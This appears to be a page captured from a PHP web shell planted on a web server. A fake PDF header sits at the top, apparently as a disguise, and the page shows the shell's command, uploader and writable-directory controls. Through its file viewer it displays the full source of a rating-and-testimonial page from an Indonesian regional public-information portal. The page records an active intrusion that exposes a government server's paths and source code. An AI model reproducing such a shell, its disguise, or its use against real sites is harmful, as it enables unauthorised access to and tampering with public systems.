%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/penilaian.php
<?php
/**
 * Halaman Beri Penilaian & Testimoni.
 * Hanya tersedia bagi permohonan yang berstatus "selesai", diakses via Nomor Resi.
 */
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/queries.php';

$resi   = get_param('resi') ?: post_param('resi');
$errors = [];
$old    = ['nama' => '', 'rating' => '', 'isi' => ''];

$permohonan = $resi !== '' ? get_permohonan_by_resi($resi) : null;
$sudahNilai = $permohonan ? get_testimoni_by_resi($resi) : null;
$sukses     = !empty($_SESSION['penilaian_sukses']);
unset($_SESSION['penilaian_sukses']);

// Prefill nama dari data permohonan.
if ($permohonan && $old['nama'] === '') {
    $old['nama'] = $permohonan['nama'];
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && !$sukses) {
    csrf_verify();
    $old['nama']   = post_param('nama');
    $old['rating'] = post_param('rating');
    $old['isi']    = post_param('isi');

    if (!$permohonan) {
        $errors['resi'] = 'Permohonan dengan nomor resi tersebut tidak ditemukan.';
    } elseif ($permohonan['status'] !== 'selesai') {
        $errors['resi'] = 'Penilaian hanya dapat diberikan untuk permohonan yang telah selesai.';
    } elseif ($sudahNilai) {
        $errors['resi'] = 'Permohonan ini sudah pernah diberi penilaian. Terima kasih.';
    }

    $rating = (int) $old['rating'];
    if ($rating < 1 || $rating > 5) {
        $errors['rating'] = 'Silakan pilih rating bintang (1–5).';
    }
    if ($old['nama'] === '') {
        $errors['nama'] = 'Nama wajib diisi.';
    }

    if (empty($errors)) {
        $stmt = db()->prepare(
            'INSERT INTO testimoni (permohonan_id, no_resi, nama, rating, isi, is_published)
             VALUES (?, ?, ?, ?, ?, 0)'
        );
        $stmt->execute([
            $permohonan['id'],
            $permohonan['no_resi'],
            $old['nama'],
            $rating,
            $old['isi'] !== '' ? $old['isi'] : null,
        ]);
        $_SESSION['penilaian_sukses'] = true;
        redirect('penilaian.php?resi=' . urlencode($resi));
    }
}

$pageTitle = 'Beri Penilaian — ' . APP_NAME_SHORT;
$activeNav = '';
require __DIR__ . '/partials/head.php';
require __DIR__ . '/partials/navbar.php';

$val = static fn (string $k) => e($old[$k] ?? '');
?>

<section class="relative overflow-hidden bg-gradient-to-br from-mateng-green to-mateng-blue text-white py-14">
    <?php require __DIR__ . '/partials/sekda-header.php'; ?>
    <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
        <nav class="text-sm text-green-100 mb-3">
            <a href="<?= e(url('index.php')) ?>" class="hover:underline">Beranda</a><span class="mx-2">/</span><span>Beri Penilaian</span>
        </nav>
        <h1 class="text-3xl md:text-4xl font-extrabold mb-2">Penilaian &amp; Testimoni Layanan</h1>
        <p class="text-green-50 max-w-2xl">Bagikan pengalaman Anda atas layanan informasi yang telah diberikan PPID Mamuju Tengah.</p>
    </div>
</section>

<main class="max-w-2xl mx-auto px-4 sm:px-6 lg:px-8 py-10 w-full">

    <?php if ($sukses): ?>
        <div class="bg-white rounded-2xl border border-green-200 shadow-sm p-8 text-center">
            <div class="w-16 h-16 bg-mateng-green text-white rounded-full flex items-center justify-center text-3xl mx-auto mb-4"><i class="fas fa-star"></i></div>
            <h2 class="text-2xl font-bold text-slate-900 mb-1">Terima Kasih atas Penilaian Anda!</h2>
            <p class="text-slate-500 mb-6">Testimoni Anda akan ditinjau admin sebelum ditampilkan di halaman publik.</p>
            <a href="<?= e(url('index.php')) ?>" class="bg-mateng-green hover:bg-green-700 text-white px-6 py-3 rounded-lg font-semibold transition-colors inline-block">Kembali ke Beranda</a>
        </div>

    <?php elseif (!$permohonan): ?>
        <div class="bg-white rounded-2xl border border-slate-100 shadow-sm p-6 mb-6">
            <p class="text-slate-600 mb-4">Masukkan Nomor Resi permohonan Anda yang telah <strong>selesai</strong> untuk memberikan penilaian.</p>
            <form method="get" class="flex items-center bg-slate-50 border border-slate-200 rounded-xl p-2 focus-within:border-mateng-green">
                <i class="fas fa-receipt text-slate-400 ml-3"></i>
                <input type="text" name="resi" value="<?= e($resi) ?>" placeholder="REQ-XXXXXX-XXXXX" class="w-full px-3 py-2 bg-transparent outline-none text-slate-700" required>
                <button class="bg-mateng-green hover:bg-green-700 text-white px-5 py-2 rounded-lg font-semibold">Lanjut</button>
            </form>
            <?php if ($resi !== ''): ?><p class="text-sm text-amber-600 mt-3"><i class="fas fa-circle-exclamation mr-1"></i> Nomor resi tidak ditemukan.</p><?php endif; ?>
        </div>

    <?php elseif ($permohonan['status'] !== 'selesai'): ?>
        <div class="bg-amber-50 border border-amber-200 text-amber-700 rounded-xl p-5 flex items-start gap-3">
            <i class="fas fa-circle-info mt-0.5"></i>
            <div>
                <p class="font-semibold">Penilaian belum tersedia.</p>
                <p class="text-sm">Permohonan <strong><?= e($permohonan['no_resi']) ?></strong> masih berstatus "<?= e($permohonan['status']) ?>". Penilaian dapat diberikan setelah permohonan selesai.</p>
                <a href="<?= e(url('cek-status.php?resi=' . urlencode($resi))) ?>" class="text-mateng-blue font-semibold hover:underline text-sm mt-2 inline-block">Lihat status permohonan</a>
            </div>
        </div>

    <?php elseif ($sudahNilai): ?>
        <div class="bg-white rounded-2xl border border-slate-100 shadow-sm p-8 text-center">
            <div class="mb-3"><?= render_stars((int) $sudahNilai['rating'], 'text-2xl') ?></div>
            <h2 class="text-xl font-bold text-slate-900 mb-1">Anda Sudah Memberikan Penilaian</h2>
            <p class="text-slate-500 mb-4">Terima kasih telah menilai layanan kami untuk permohonan <strong><?= e($permohonan['no_resi']) ?></strong>.</p>
            <?php if ($sudahNilai['isi']): ?><blockquote class="text-slate-600 italic bg-slate-50 border border-slate-100 rounded-xl p-4">"<?= e($sudahNilai['isi']) ?>"</blockquote><?php endif; ?>
        </div>

    <?php else: ?>
        <div class="bg-white rounded-2xl border border-slate-100 shadow-sm p-6 sm:p-8">
            <div class="bg-green-50 border border-green-100 rounded-xl p-4 mb-6 text-sm text-green-800 flex items-center gap-2">
                <i class="fas fa-circle-check"></i> Permohonan <strong><?= e($permohonan['no_resi']) ?></strong> telah selesai. Silakan beri penilaian.
            </div>

            <?php if (!empty($errors)): ?>
                <div class="bg-red-50 border border-red-200 text-red-700 rounded-xl p-4 mb-6 text-sm">
                    <?php foreach ($errors as $err): ?><p><i class="fas fa-circle-xmark mr-1"></i> <?= e($err) ?></p><?php endforeach; ?>
                </div>
            <?php endif; ?>

            <form method="post" class="space-y-5">
                <?= csrf_field() ?>
                <input type="hidden" name="resi" value="<?= e($resi) ?>">

                <div class="text-center">
                    <label class="block text-sm font-medium text-slate-700 mb-3">Seberapa puas Anda dengan layanan kami?</label>
                    <div id="starPicker" class="inline-flex items-center gap-2 text-4xl text-slate-300" role="radiogroup" aria-label="Rating">
                        <?php for ($i = 1; $i <= 5; $i++): ?>
                            <button type="button" data-val="<?= $i ?>" class="star-btn transition-transform hover:scale-110 focus:outline-none" aria-label="<?= $i ?> bintang"><i class="fas fa-star"></i></button>
                        <?php endfor; ?>
                    </div>
                    <input type="hidden" name="rating" id="ratingInput" value="<?= $val('rating') ?>">
                    <p id="ratingLabel" class="text-sm text-slate-500 mt-2 h-5"></p>
                </div>

                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Nama <span class="text-red-500">*</span></label>
                    <input type="text" name="nama" value="<?= $val('nama') ?>" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100">
                </div>

                <div>
                    <label class="block text-sm font-medium text-slate-700 mb-1.5">Testimoni <span class="text-slate-400 font-normal">(opsional)</span></label>
                    <textarea name="isi" rows="4" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100" placeholder="Ceritakan pengalaman Anda menggunakan layanan informasi kami..."><?= $val('isi') ?></textarea>
                </div>

                <button type="submit" class="w-full bg-mateng-green hover:bg-green-700 text-white font-bold px-6 py-3.5 rounded-xl transition-colors flex items-center justify-center gap-2">
                    <i class="fas fa-paper-plane"></i> Kirim Penilaian
                </button>
            </form>
        </div>

        <script>
            (function () {
                var picker = document.getElementById('starPicker');
                var input  = document.getElementById('ratingInput');
                var label  = document.getElementById('ratingLabel');
                var labels = ['', 'Sangat Buruk', 'Buruk', 'Cukup', 'Baik', 'Sangat Baik'];
                var stars  = Array.prototype.slice.call(picker.querySelectorAll('.star-btn'));
                function paint(val) {
                    stars.forEach(function (s, i) {
                        s.classList.toggle('text-mateng-gold', (i + 1) <= val);
                        s.classList.toggle('text-slate-300', (i + 1) > val);
                    });
                    label.textContent = labels[val] || '';
                }
                stars.forEach(function (s) {
                    var v = parseInt(s.getAttribute('data-val'), 10);
                    s.addEventListener('click', function () { input.value = v; paint(v); });
                    s.addEventListener('mouseenter', function () { paint(v); });
                });
                picker.addEventListener('mouseleave', function () { paint(parseInt(input.value, 10) || 0); });
                paint(parseInt(input.value, 10) || 0);
            })();
        </script>
    <?php endif; ?>
</main>

<?php require __DIR__ . '/partials/footer.php'; ?>

Kontol Shell Bypass